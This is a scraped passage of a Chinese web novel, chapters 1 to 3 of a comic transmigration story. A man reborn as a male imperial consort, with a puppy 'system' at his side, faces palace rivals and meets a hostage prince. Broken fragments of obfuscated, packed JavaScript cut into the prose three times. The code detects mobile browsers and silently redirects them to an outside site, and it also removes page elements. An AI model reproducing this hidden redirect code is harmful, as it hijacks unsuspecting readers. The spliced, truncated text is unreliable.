《我不想当男太后[穿书]》 1. 第 1 章 曲月翎遭遇火灾被浓烟呛死了。 他觉得自己这么坏的一个人,死后肯定要下地狱。 结果死后他却只听到有狗在叫。 那狗还是个狗崽子,叫声嘤嘤嘤的很是稚嫩,可传入曲月翎耳中后却变成了一道年轻男人焦急的声音:“生前何必久睡?死后自会长眠,宿主,求求你快醒醒,别再睡了!” 曲月翎闻言忍不住回道:“你有病吧?我已经死了啊,除了长眠我还能干什么?” 狗接着叫:“你又活了。” 活了? 曲月翎倏地睁眼,发现自己果然没死,可他眼前不是医院死寂的天花板和刺目的白炽灯,而是一片层层叠叠,宛如碧波草浪微微拂动的翠色薄纱帐幔。 ——谁家好人复活后头顶一片绿啊? 这也太不吉利了! 哦,他是坏人,那没事了。 曲月翎望着头顶的绿面无表情,十指交叠搭在小腹上,躺得和死了一样安详。 这时一只身细头长,耳毛垂密,像扎着双马尾似的纯黑小狗跳到曲月翎肩旁,用前足扒拉他,继续狗叫:“宿主,你终于醒了,我是你的系统!” 系统? 刚刚就是这玩意在狗叫? 曲月翎转动眼珠,冷冷瞥着自称为“系统”的黑狗,在心里问他:[你在狗叫什么?] 谁知系统也在问他:“宿主你怎么不说话啊?” 曲月翎反问:[我不正是在和你说话吗?] 不料系统同样再问:“难道宿主你还没睡醒?” “你不是我的系统吗?”曲月翎很纳闷,终于张唇出声,“为什么我在脑海里和你说话你听不到?” 系统发出了委屈的小狗嘤嘤叫:“我是实体系统……不具备脑内沟通功能。” 曲月翎愕然万分:“原来你真是一条狗?” “……都说了我是实体系统!”系统坚持道,“先别纠结这个问题了,宿主,我们时间紧,任务重,我就长话短说吧——你死了,然后穿书了,穿成了《帝王骨》这本书中同名同姓的男配角‘曲月翎’,而我们穿书的任务目标是完成曲月翎的剧情线,当上男太后!” 《帝王骨》这个书名曲月翎死都不会忘,因为死前他正好看过这本书。 还来不及将眼下的情况完全理清,曲月翎便听见系统紧张道:“现在你先准备一下,因为丽妃马上就要来狂扇你耳光,打烂你的嘴了。” 曲月翎一听也慌了,立刻撑着床榻直起上身:“……什、什么?” “曲月翎!你这个贱人——!” 说丽妃,丽妃到。 系统的狗叫声才落,另一道娇艳暴躁的御姐女声就从他卧房外由远及近,为她骂声伴奏的还有叫人头皮发麻的裂空鞭哨,以及宫人们试图阻拦她“丽妃娘娘,您冷静一点!”“千万不能冲动啊!”的经典台词。 曲月翎听着,再也维持不住死人般的安详表情了。 他攥紧被子颤声向系统打听:“系统你别骗我,她真的只是来扇我耳光,不是来拿鞭子抽死我吗?” 系统比他快一步先钻到床底下躲好,然后狗叫着安慰他:“放心吧,宿主,我们俩都有‘顶级牛马’的头衔加成,在完成任务以前是不会死的,她抽不死你。” 曲月翎:“?” 所以是真的会被抽吗? ——谁家坏人也不会开局就送一百连抽啊! “好你个淫.娃荡棍!” 丽妃这时已突破了宫人们的阻拦,一脚将门踹开:“一个下不了蛋的公鸡,也有脸肖想独占徵郎?我呸!” 在闯入曲月翎的栖月宫之前,丽妃听说这厮是个喜好涂脂抹粉、不知羞耻顶替其姐身份入宫为妃的死断袖,他进宫后,还日日缠着陛下,不许陛下临幸他人。 昨晚要不是这个死断袖从中作梗,装病截走了陛下,陛下一定会在她宫里过夜的! 截宠之仇不可不报,丽妃发誓她今天一定要扇烂曲月翎那张整天画得像死人一样的晦气脸。 “看我不打死……” 然而当丽妃挥手一把掀开碧色的纱幔,与帐中人那双浓郁纯粹的松绿眼眸对上时,她愤愤的怒骂便骤然间断了,高高举起的胳膊也停滞在半空,怎么都扇不下去。 因为帐中没有贱人,只有美人。 那美人额间点着一抹艳红,左眼瞳底正下方,也缀有一粒红痣,像是滴盈盈欲落的泪。 他在惊惧间捏着被角惶惶坐起,里衣散开露出半截瓷白窄肩,一身玉肌雪骨晃得人心旌摇曳,鬓侧的绿松耳坠与那双剔透碧眸交相辉映,更是闪得她意荡神驰。 见状,丽妃僵在半空的胳膊终于落下去了—— 而曲月翎望着女人的手掌距离自己脸庞越来越近,满脑子都在回荡一句话:救救我救救我救救我…… 他是走窝囊路线马上跪下抱着丽妃的大腿哽咽装哭,说姐姐我错了我不该勾引你老公,求求你别打了。 还是暴露本性,露出歹毒的丑恶嘴脸,躲开丽妃的巴掌并大声骂回去,说姐姐好事成双,有本事你连你老公一起打啊,他连我都娶男女不忌肯定也是个欠抽的老逼登吧? 可丽妃能将鞭子甩出花,他如果敢顶嘴,肯定会得到吃不完的嘴巴子! 所以还是滑跪道歉吧。 毕竟当小三难免挨打! 于是曲月翎闭眼侧过脸庞,做好了被打完一巴掌便立刻哭着认错求饶的准备,却没想到丽妃只用手背缓缓蹭了下他的面颊。 ……嗯? 怎么没被打? 曲月翎小心翼翼睁开一只眼睛,偷觑丽妃。 而丽妃也痴痴望着他,率先发出哽咽的声音:“如此美人,我见犹怜,何况徵郎……” 没等曲月翎反应过来,她又满脸怜惜,坐到榻上,握住曲月翎一只手,反复抚摸他的手背:“弟弟,你这手好白、好细、好滑啊……哎唷!你身上也好香……” 曲月翎:“……” 不是,姐姐,你不是来抽我的吗?摸我干什么呀? 感觉自己和丽妃目前手牵手的诡异状态被宫人瞧见会解释不清,有给皇帝戴绿帽子的嫌疑,曲月翎就试探性轻轻地抽了抽手,想把自己的手从丽妃掌心里抽出来,却没抽动。 而丽妃看到他抽手,长叹一声,继续骂 :“罢!必是粱怀徵那老王八蛋淫.性大发,才将你掳入宫中,你连我都挣脱不开,对那男女不忌的下流痞子又有何反抗之力呢?” “好弟弟,你放心,姐姐定会为你做主。” “老娘这就找粱怀徵那淫贼算账去——!” 丽妃撂下这句话,又摸了两把曲月翎的手背,随后甩着鞭子风风火火地走了。 手背都被她摸红了的曲月翎:“…………” “越妃娘娘,您没事吧?” 丽妃一出殿,门外怕得不行的奴婢和太监们才敢细着嗓音进屋,曲月翎则差点被他们“越妃娘娘”的称谓又给叫厥过去,赶紧把人都打发走了,随后从被子里探出脚,踢踢床榻,对系统冷笑:“细狗,你刚刚溜的很快嘛。” “咳……是细犬,细犬就是很善于奔跑的啦。” 系统从床底下爬出来,做完苍白的辩解,又试图转移话题:“宿主大人,您真是厉害,一句话都没说就轻松化解了第一场危机!” “细犬?我又不是二郎神,给我配条哮天犬有什么用?”曲月翎忍不住吐槽,“我作为一个拥有‘顶级牛马’头衔的穿书者,凭什么不给我配个能用积分兑换商城奖品的系统啊?” 系统说:“近年来穿书者太多了,那种高级系统不够分配了,而且宿主,你额心那颗红痣四舍五入一下,其实也能当成第三只眼睛来看的,所以配细犬实体系统正正好。” “……” 曲月翎懒得喷它,随手拨了一下垂在身前的墨色长发,也转移话题说:“除了头发变卷,我现在这具身体和我以前的身体相比,还有其他变化吗?” “变年轻了,现在的你刚满十八岁~”系统告诉他,说到十八岁三个字时嗓音还夹起来了,“眼睛也变绿了,不过除了这三处,别的地方都没变化。” 曲月翎霎时了然:“哦,那就不奇怪了。” 他这人唯一的优点就是长得好看。 这或许就是丽妃刚才没能狠得下心扇他巴掌的原因吧。 “没错!”系统也骄傲地说,“我们时空调正局非常贴心,连你有心脏病的特点都保留下来了呢!” 曲月翎:“?” 曲月翎:“我穿书前已经做过心脏移植手术了啊。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634805|172633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 系统一对狗耳朵心虚地压低,小声说:“……这不是穿书了吗?” 曲月翎被它气得喘不过气,闭着眼睛昏昏沉沉倒回鹅黄色的锦枕上,心想难怪丽妃一走自己就后知后觉感到胸腔憋闷,喘息困难,这会儿还有些头晕心悸,难受得和他没做手术前一模一样,原来是又得心脏病了啊。 “放心,不会死的,真不会死。”系统把狗爪子搭到床沿,安抚曲月翎,“宿主您消消气,被气病死不掉苦的还是自己。” 曲月翎:“……” 曲月翎睁开眼睛瞪他。 系统把狗尾巴也夹紧了:“对了,宿主,我这里有个好消息,只要你顺利走完‘曲月翎’的剧情线,当上男太后,你就能回到原来的世界,还可以获得‘返老还童’的奖励。” 曲月翎:“……我死的时候也才二十五岁,就已经老到需要还童的地步了吗?” 系统劝他看开点:“四舍五入奔三了,是大龄牛马了。” “好吧。”曲月翎顿了顿,声音忽地变轻,“……能还童到几岁呢?” “几岁都行。”系统又摇起了狗尾巴,“我同事的宿主们就喜欢重回婴儿时期,开启龙傲天的一生。” 曲月翎闻言不由侧首,透过飘曳的碧色轻纱望向窗外那片翠意葳蕤,生机盎然的夜兰香,低声呢喃:“不用回到婴儿时期,就让我重回十八岁吧。” “成,都成。”系统答应他,“但我们得先当上男太后完成剧情线。” 曲月翎揉着额角又闭上眼睛:“一定要当男太后才行吗……我不想当男妈妈啊。” 系统很坚定:“必须当。” 当了好几年牛马的曲月翎熟练地妥协了:“……当就当!” 做区区男太后,总不至于比做社畜牛马还命苦吧? 可惜眼下手边没有咖啡,否则他怎么也要给自己灌一杯社畜必备的牛马兽药,但没有问题也不大,就像系统说的,反正死不掉。 曲月翎深吸一口气,强忍着身体的不适,赤足从榻上走下,到外间的书案拿取出宣纸和毛笔,挽袖就写:“系统,你先和我完整讲述一下这本书的剧情,然后我们根据全文的时间线,分别制定一下短期、中期、长期目标,再搭建一个绩效考核体系,依据KPI的完成指数,进行每周总结,每月反思,每季度评估项目进展,及时调整优化计划……” 系统目瞪口呆望着泼墨挥毫,笔走龙蛇的曲月翎,讷讷狗叫:“宿主您等一下……” “还等什么?浪费时间就是浪费生命。”曲月翎蹙着眉睨它一眼,肃声说,“十八岁正是当牛马的好年纪,好些人这个年纪都进厂打工了,我们也得立马行动起来。” “我这里还有一个坏消息没说。”系统又狗叫,“我不知道剧情。” 曲月翎:“?” 这叫坏消息吗? 这叫噩耗啊! 听完系统的话,青年笔锋一歪,凝聚的墨汁在宣纸上晕开一滩污黑,纤细的身体仿佛遭受不住沉重打击晃了两下,扶住桌面后才堪堪站稳。 他难以置信:“你是系统你不知道剧情?” 系统弱声:“我是实体系统,和别的系统不一样嘛……” “……可如果你不知道剧情。”曲月翎攥紧笔杆,指尖压得发白,质问系统,“那你刚刚是怎么知道丽妃要来打我的?” 系统用狗爪子挠挠头:“丽妃一路骂着你过来的,你出去随便转两圈,皇宫里头没聋的都知道她要来打你啊。” “……” 曲月翎再也支撑不住,靠着案几软软倒下,捂着心口不住喘息,他气若游丝,衬着眼下的红痣,骂人都像在垂泪啜泣:“那你能有什么用?” “能跑!”瞧上去刚断奶的肥狗崽子系统立正了,甚至抬起前肢给曲月翎敬了个礼,“我听到丽妃要来打你的消息,就立马跑回来给你通风报信了!” 曲月翎听完喉咙漫上一股腥甜。 系统像是察觉到了他的绝望,焦急地小跑到青年身旁,用湿润的狗狗鼻蹭蹭他,往曲月翎心口插上最致命的一刀:“你还是穿书者呢,难道你没看过书就穿进来了吗?” 问的真好。 看是看过的,但是只看了一页就穿了。 天底下还有比他更倒霉的穿书者吗? 2. 第 2 章 曲月翎觉得是没有的。 穿书前,他是个家境优渥的富家子弟。 从小没为钱发过愁,直到大学毕业踏入社会,才开始明白“钱难赚屎难吃”这句话,每日每时每刻不是在工作,就是在工作的路上。 所以曲月翎觉得自己哪天如果死了,那有99%的可能性是猝死。 结果他在二十五岁生日这天真的死了,死亡原因却不是猝死,而是那1%的例外——火灾。 死亡前,每月十佳牛马社畜……不是,十佳勤奋员工曲月翎正在公司里一边吃夜宵一边看小说。 他没有摸鱼,看小说也是工作的一部分。 他们公司刚接下一款要将小说改编为游戏的单子,曲月翎作为团队的建模师之一,本来只需要看设计原画,同事却嘿嘿笑着把原著小说也递给他了,还叮嘱他一定要先看第七页的人物介绍。 等翻到那页一瞧,曲月翎就明白同事把小说递给自己时为什么嘴都快笑歪了。 因为这本小说里有个人物和自己同名同姓,也叫曲月翎,人物简介字数不多,但句句狗血元素拉满: 【征枢十九年,小宛三皇子曲月翎代替其姐曲月珠与卫祁国君梁怀徵和亲,入宫始封“越妃”,抚养三皇子梁初景。 征枢二十二年,梁初景被封太子,曲月翎晋贵妃。 征枢二十五年,梁怀徵宾天,太子梁初景继位,改年号为朔阳,立钟以窈为后,奉曲月翎为太后。同年,曲月翎垂帘听政,权倾朝野……】 ——又是“替嫁”又是男太后的,这些剧情同事看了能不笑吗? 目前还不知道公司里有多少同事看了这本书,没看的等看了以后估计也会笑得想死。 幸好曲月翎眼里只看得到钱,只要公司开的工资够高,别说是面对同事们的嬉笑,就是让他睡在公司007都没问题,这就是他生日当晚都要留下来加班的原因——老板给的钱实在是太多了。 有加班费拿曲月翎越想越开心,准备吃完宵夜后趴桌上眯半个小时再起来继续工作。 不料睡到一半被浓烟呛醒,醒来时公司里火势太大,已经来不及逃跑了,曲月翎就此穿书,得到一只很能跑的细狗系统。 “罢!”曲月翎学着丽妃的口吻叹息一声,“虽然我只看了一页,可那一页给的信息量很多,已足够我推算出大致剧情了。” 狗崽子系统马上夸他:“宿主您真厉害,那么您推算出男主是了谁吗?” 这是肯定的。 首先,这本书叫《帝王骨》,那么主角一定是能当皇帝的人。 其次,曲月翎有个养子叫梁初景,后来登基当了皇帝,他也因此被梁初景奉为太后,那么梁初景一定是男主。 最后,男主的皇后钟以窈那肯定就是女主了。 曲月翎记得那页人物介绍的最末尾,还提到了钟以窈曾经是冷宫里的小宫女,年长梁初景七岁,在梁初景年幼时照顾过他一段时间,待他极好,因此梁初景对钟以窈情根深种,一登基就不顾曲月翎的反对,立她为后。 于是曲月翎告诉系统:“男主当然是我的好大儿,卫祁三皇子梁初景,而女主是他老婆钟以窈。” 说完他又问:“我儿现在在何处?” 系统说出新的坏消息:“您还没有儿子。” “怎么会没有呢?”曲月翎蹙眉不解,“人物简介上说我一入宫就被封为‘越妃’,还得到了三皇子梁初景的抚养权。” 系统的坏消息讲不完:“您现在是越妃没错,但是……您还没有儿子。” 据系统所言,它比曲月翎早几天来到这里,观察了原主几日,然后发现原主就是小宛皇室一个被宠坏的纨绔皇子,脾气奇烂,入宫后又仗着受皇帝宠爱,更是嚣张跋扈的不得了。 平时行为举止扭捏造作不说,还特别喜欢涂脂抹粉,硬生生把自己一张好脸糟蹋的不堪入目,入宫不过半月,就把宫里的人都最罪了大半,昨晚又装病截了丽妃的宠,才惹得丽妃一大清早前来问罪。 “原主为人是真不讨喜,如果您没穿过来,由着他又去抹一脸粉,再和丽妃的火爆脾气撞上,那肯定会挨一顿打。”系统也和曲月翎讲了下它的推测,“可丽妃膝下有一子,皇帝梁怀徽不会罚她太重,原主见状,心想自己是男子之身,就算承宠无法生下皇子,想要稳固地位,这才和皇帝求了三皇子梁初景的抚养权吧。” 曲月翎疑惑:“他一求,皇帝就给了吗?” 系统望着曲月翎那张雪中艳花般的面孔,心想你别学原主搽胭抹粉,就顶着这张脸去见皇帝,即使不求说不定也会给的。 不过系统还是选择讲正事:“您不知道,原主究竟有多得宠,连虞贵妃都要避其锋芒,他虽顶替了姐姐曲月珠进宫,可小宛和卫祁联姻的事实改变不了,原主身为‘和亲公主’,地位不算低,而皇帝其实也有意为三皇子寻一位养母,可宫中妃位及以上的妃子膝下都已有儿子,将三皇子交给她们中的谁照顾都不太合适,但给妃位以下的嫔妃抚养,皇帝也觉得不太妥当。” “确实。”曲月翎牛马多年,这些人情世故一点就透,“其他妃子都是辛苦生育才荣升妃位的,妃位以下的嫔妃若是凭借抚养三皇子就能封妃,对其他妃子不公;若不能封妃,那三皇子的养母身份地位又太低,还不如给我养呢。” “问题不大,我儿现在应当还在冷宫。” “我去看望看望他,然后再去暗示皇帝,说我怜惜三皇子在冷宫无依无靠,日子窘困,回来应该就可以准备迎接喜当爹的圣旨了。” 系统小声纠正:“是喜当妈。” 曲月翎瞪它。 系统又更小声地改正:“当男妈妈。” “……” 为了自己的身体着想,曲月翎佯装没听见这句话,撑着案几艰难站起。 只是他这具身体孱弱单薄,肤色冷白,情绪稍一激动,或是动作起伏太大,面颊就容易泛红,透出病态的血色。 所以系统望着曲月翎那副一丝两气,倦容蔫蔫的模样,关心地问:“宿主,您是不是不舒服?要不先回床上休息会儿,等好点了再出门吧,反正现在天色还早。” 谁知话音甫落,系统又被青年半嗔半怨地瞪了一眼。 “细狗,你怎么回事?”曲月翎似乎对它好意关怀的言语略感不满,“你怎么能怂恿我摸鱼偷懒呢?” 系统认真求教:“那我应该?” 曲月翎严肃地说:“你应该催我赶紧去走剧情,还必须要完成日常任务,如果没有每天打卡,就要狠狠电击惩罚我!” “……宿主,我是实体系统,没有电击功能。”系统解释,“我们也没有日常任务要完成,无论过程怎样,花了多少时间,只要您最后当上了男太后,就算完成剧情,而且我们时空调正局选人特别谨慎——” “我们给出的奖励,比惩罚更能激励你去走完剧情。” 曲月翎沉默须臾,忽地笑了:“确实如此。” “走吧。”他揪住系统的后颈肉,把狗抱进怀里,“我们去冷宫看看我的好大儿。” 原主是妃位,又深得圣宠,日常可乘轿辇出行。 正好原主刚进宫没多久,曲月翎就以熟悉皇宫为由,乘辇差使宫人们往冷宫的方向走。 “我们不能直接闯入冷宫,那样目的性也太明显了。”曲月翎在轿中压低嗓音,悄声和系统说自己的计划,“等快到冷宫时,你就大声哼唧,假装要去如厕,然后我把你放到地上,你再撒腿狂奔,往冷宫的方向冲,我会追着你过去的。” 系统点头:“没问题。” 曲月翎叮嘱它:“你可千万别被宫人们提前抓住啊。” “宿主,您放心。”系统自豪道,“除非他们骑马,否则没人追得上我。” 曲月翎闻言挑高了眉梢,一副不太相信的样子。 如果系统是只成年细犬,他肯定不会怀疑系统的话,可如今系统看上去就是只刚断奶的狗崽子,腿又短又肥,真能跑这么快吗? 曲月翎刚想说出自己的疑虑,系统忽地竖起一侧耳朵,告诉他:“宿主,前面似乎有人在吵架,好像是几个皇子在欺负人,我听见他们在喊什么‘殿下’……” 来了! 穿书的经典桥段—— 冷宫里的男主在童年时期,一定会被自己的兄弟或不长眼的宫人欺凌羞辱。 这时候自己倘若在男主面前出现,对他施以援手,救其于水火之中,那么自己的身影在男主眼里,必将如天神一般伟岸,男主轻则对他涌泉相报,重则以身相许,最次也能得个厚礼答谢。 因此即使曲月翎和宫人们什么都没听见,但大多数犬类的听力都比人类好,所以曲月翎把系统放下了:“速速去救我儿!” 系统很听话,一沾地就撒腿狂奔,几乎眨眼就没了影子,从曲月翎和宫人们的目光中消失,转而出现在另一行人的视线里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634806|172633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “汪汪汪!” 狗叫声惊扰了正在施暴的红衣少年,他抬起头看向声源,却没抬起踩住脚下之人脑袋的腿,蔑然嗤笑着问:“哪里来的野狗?” “二皇兄。”站在红衣少年左侧的紫衣少年回答道,“好像是越妃宫里的。” 阖宫皆知,小宛新来的“和亲公主”越妃养着一只通体油黑,身细耳长的细犬。 皇帝有多宠爱越妃,越妃就有多宠爱他的细犬。 为了不让自己的爱犬在宫中被旁人欺负,越妃还特地打了一枚镶嵌着青琅轩宝石,且刻有小宛国文“月”字的华贵金项圈,戴在小狗脖颈上,让见者知晓,这是他曲月翎的狗。 “这死狗叫得人心烦。”二皇子梁初锋乜眼瞥着黑狗,对另一个面容稚嫩,身体敦实的蓝衣少年说,“老五,你去把它赶走。” “啊?”被点到名的五皇子梁初睿愣了愣,继而讷讷点头,“哦哦哦……是,二皇兄。” 他笨拙地摆动着双臂,重重跺脚去恐吓那只细犬:“呿!一边去!” 可细犬并没有被他吓到,巍然不动地站在原地,还又“汪汪汪”地叫了几声。 被二皇子梁初锋踩住脑袋的容冽听见动静,便艰难地转动眼珠,阴郁冰冷的目光掠过五皇子梁初睿的面庞,定格在那只细犬身上,心想这真是讽刺。 自己身为邺国质子,纵使已被母国抛弃,也好歹是流着天家血脉的一国王公,而这群卫祁的皇子们敢将他轻蔑作践地踩在脚下,肆意欺辱,却如此忌惮一位宠妃豢养的小畜生,不敢触碰其分毫。 这是何等的讽刺? 容冽勾起唇角,从鼻间呵出一声阴鹜不屑的冷嗤。 哪怕这笑声会激怒二皇子梁初锋,令其对他的折辱变本加厉。 不过此时二皇子梁初锋的注意力全然不在容冽身上,因为他在容冽冷笑的同时不耐烦地“啧”了一声。 “梁初睿,你那副样子吓得到谁?”梁初锋连名带姓叫着五皇子的名字,“你踢它一脚啊。” 五皇子梁初睿的生母是静妃杨曦,在皇帝那不怎么受宠,靠着生育子嗣有功才封的妃,而越妃圣眷正浓,五皇子不想开罪父皇的宠妃给母后惹麻烦,就束手束脚地站在原地,唯唯诺诺道:“二皇兄……这是越妃的狗啊。” 紫衣少年见状,便对周围五皇子的宫人们下令:“你们站着干什么?都聋了?没听见二皇兄的话?” 五皇子宫人们闻言面面相觑,不禁腹诽:四殿下您怎么不叫自己的宫人或是二殿下的宫人去踢狗,非要叫我们去呢?莫不是也怕越妃问罪,不愿牵连自身吧? 但明面上,他们可不敢将话说的如此直白,只能学着自家主子的窝囊样,怯懦道:“四、四殿下……这是越妃娘娘的爱犬啊。” “一群废物!” 二皇子梁初锋终于舍得抬脚了,他一边骂着宫人们,一边迈步朝黑狗走去,抬脚欲踹之际,小狗灵活地躲开了,却叫得仿佛被狠狠踢了一脚似的,“嗷呜嗷呜”哼着跑向不远处。 容冽的目光跟随黑犬挪转,也望向那座高高在上的轿辇。 他看见伴侍的宫人们恭敬地掀开素色纱帘,轿中伸出一双瓷白胜雪的手,俯身以庇护之姿将那只跳上轿辇黑犬揽入怀抱。 黑犬仰起脑袋望轿中人。 一袭黑衣的容冽也仰头望他。 在看清青年面容的那一刹,容冽不知为何,竟回忆起自己前往卫祁途中的一夜。 那晚暴雨骤降,送质使团来不及赶到驿站避雨,不得不在路边的一座破庙内就近下榻。 破庙中有一尊被破旧帷幔遮去脸庞,看不清面容的菩萨,只能通过菩萨乘骑的青狮推断,这应当是可降伏一切烦恼魔障的大智文殊菩萨。 彼时他发着高热,隐隐感觉自己就快病死了。 他的侍从跪在菩萨前,磕头求菩萨庇佑他熬过这一劫难。 他在一声声祈愿祷文中艰难地睁眼,却怎么都无法透过那层帷幔,看到菩萨的模样。 直至今日,容冽逆着光仰首抬望,越过被掀开的轿帘素纱,那一夜自己总看不到脸庞的菩萨,在这一刻蓦然有了面容。 他的眉心有着一点红痣,眼底也有一抹嫣红,恍若悲悯世人时流下的血泪,而唇间泄出的音色犹如金玉击鸣,虽夹杂着些病弱乏力的咳喘,却是掷地有声,气势锋锐—— “二殿下,双马尾年幼不懂事,您何故对它下此重手?” 3. 第 3 章 “……双马尾?” 听到那疑似自己名字的三个字时,系统浑身一震,准备反驳,却被曲月翎一把捏住狗嘴无法狗叫。 而二皇子梁初锋重复念了遍这凑到一块略为怪异的三个字后,也搞懂了它是黑犬的名字,讥诮道:“这小畜生不长眼,乱嚷乱吠惹人心烦,我只是想替越妃管教一下它。对了——” 梁初锋顿了顿,望着青年清丽如画的眉眼,愠怒的话音渐渐软缓,狐疑地问:“……你是越妃?” 他记得越妃不长这样啊,怎么换了张脸? 轿中人闻言掀起眼帘,居高临下睨视着他,意有所指般说:“小畜生不长眼倒也无妨。” “它刚断奶没几日,左右伤不了二殿下。”说罢,青年又垂落长睫,凝望怀中爱犬的情态温柔神性,但话语里暗藏着刀锋剑芒,刺向旁人的同时,一并将周身不染纤尘的超俗气质杀得干干净净,恍若现出真身的魔罗邪佛,“可人不能不长眼,你们是都看不见三殿下吗?” “地上冷。” 曲月翎抬手抵唇轻咳两声,对身旁的宫人们道:“还不快扶三殿下起来。” 然而他的宫人着实不太中用,丽妃来打他时这群人跑得快,现在叫扶个人也像没听见一样一动不动。 ……难不成要自己下轿辇亲自扶三殿下起来吗? 曲月翎忖思犹豫间,他的宫人们也犹犹豫豫地小声询问:“翎公子……三殿下在哪?” 曲月翎:“?” 三殿下不是就在地上躺着吗? 曲月翎将目光投向方才被二皇子霸凌,瞧着才十二三岁,很适合做他的儿子黑衣少年。 系统却缩着脖颈,将自己的嘴巴从青年手里拯救出来,小声狗叫:“……宿主,地上这个不是你的好大儿梁初景,他虽然也排行第三,可他是邺国来的质子,容冽,平时宫人们都唤他‘容殿下’。” 不过他们的音量都不如曲月翎小。 “这么重要的事……”曲月翎收回落在容冽身上的慈父目光,转而用眼神狠狠揪系统的狗毛,几乎是咬紧了牙根把字从唇缝里挤出来的,“为什么不、早、说?” 系统解释:“我刚想说,但还来不及说,你就开始骂二皇子了。” 曲月翎:“……” 曲月翎:“算了,骂了就骂了吧,难道二皇子不该骂么?我死前每天上班只能当回复‘收到’的牛马,都快压抑成变态了,今天难得发场疯,爽!” “二皇子这小崽子落我手里算他活该倒霉,以后他再敢霸凌别人,我见一次骂一次!” 系统:“……” 和系统畅快地说完心里话,常年蝉联公司十佳员工的优秀牛马曲月翎斜瞥宫人一眼,悠声应付起这区区认错男主的小场面:“容殿下是邺国三皇子,难道担不得一声‘三殿下’吗?” “是是是……”宫人们不敢反驳,小跑到容冽身旁想扶他起来,“容殿下您请起……” 容冽却侧身避开了宫人的搀扶。 毕竟这位“越妃”入宫虽才半月,但他的名声容冽早有耳闻,总而言之,不是个好相与的。 容冽不认为这样的一个人会突然善心大发来救自己,何况露面至此,青年也仅只看过自己一眼。 虽然在那极短暂的一瞬对视间,容冽窥见那双绿瞳中似乎真有对自己的怜惜之意浮现,然而不等他细细看清,青年又很快垂眸望向了怀里的狗,看狗看得甚至比瞪二皇子都起劲。 无论青年眼中那抹怜惜是真是假,青年接下来应当都会和曾经可怜过他的嫔妃与宫人们一样,因不敢得罪二皇子背后的虞贵妃而远离他。 再者,越妃曲月翎此人身负流言颇多,与他走得太近不是什么好事。 眼下的二皇子,也绝不会因为曲月翎一时的阻拦就轻易放过他。 果不其然—— 二皇子梁出锋子都没等到容冽自己撑着地面站起,就冷冷出声:“慢着,我有说过让他……” “二殿下——” 谁知曲月翎貌似也没有要放过二皇子的意思,他打断梁出锋的话,揪着狗的事情不放:“您还没有回答我,双马尾年幼不懂事,您何故对它下此重手?” 二皇子很是莫名:“我碰都没碰到这小畜生,我对它下什么重手了?” “二殿下嘴皮子上下一合,说没碰到就没碰到吗?”曲月翎继续问,“证据呢?” 二皇子被曲月翎这一通胡乱纠缠气得胸膛连连起伏,他抓住距离自己最近一个宫人的衣领,将那太监拽到身前:“来——你来告诉越妃,我有碰到过他的小畜生吗?” 说罢他又环顾一圈四周,瞪着余下的宫人问:“你们看见了吗?” “……没、没有。”被二皇子拎高的小太监拼命摇头,和其他宫人们一起否认,“越妃娘娘,二殿下他没有踢到您的爱犬。” 随后二皇子将那名小太监扔开,喘着粗气问:“越妃,听清楚了吧?” 曲月翎也跟着他一块笑,绿眸弯弯的,好似一钩弦月,说出口的话却恶劣万分:“就算没碰到,你也吓到它了。” 二皇子闻言怒极反笑,厉声骂道:“放狗屁!” 曲月翎也扬高声音,回道:“我又没聋,你吼那么大声干什么?” 可话音刚落,他脸上神情便蓦然一变,蹙眉捂着心口痛苦道:“我也被二殿下吓到了……我的心好痛,我好难受……” 青年宛如一匹绸缎,孱弱无力倒靠向扶手,攀住轿边小太监的肩低声道:“快……” 那小太监望着肩头的美人,耳根子都红透了,匆忙垂眼再不敢看曲月翎,只急急道:“快!快宣御医——!” 曲月翎又咳了两声,把那声“傻子”咽回去,咬牙装柔弱说:“我是想让你快去告诉陛下,说阿翎福薄,怕是要挺不过去了……可阿翎对陛下的一片痴心,生死不改……” “你——!” 二皇子瞠目结舌望着曲月翎,指着他上前一步还想再说。 四皇子梁初恒赶紧拉住二皇子的手臂,低声劝他:“二哥,越妃行事乖张,与父皇旧情深厚,又因患有心疾而备受父皇优待,今日他摆明了就是冲你来的,我们万不可中计,做了他向父皇邀宠的棋子啊!” 经四皇子一提,二皇子显然也想起了越妃入宫半月作出的“丰功伟绩”,自觉锋芒盛不过这个死断袖,立刻转身留下一句“我们走”,便准备带着四、五两位皇子和宫人们离开。 不过曲月翎也绝不因为二皇子的一时退让就轻易放过他:“慢着,二殿下,我有说过让你走了吗?” “……” 二皇子假装没听见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634807|172633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,离开的脚步越发快了。 曲月翎还没骂够,见况痛心疾首,叹道:“如此不听话,不孝子!” 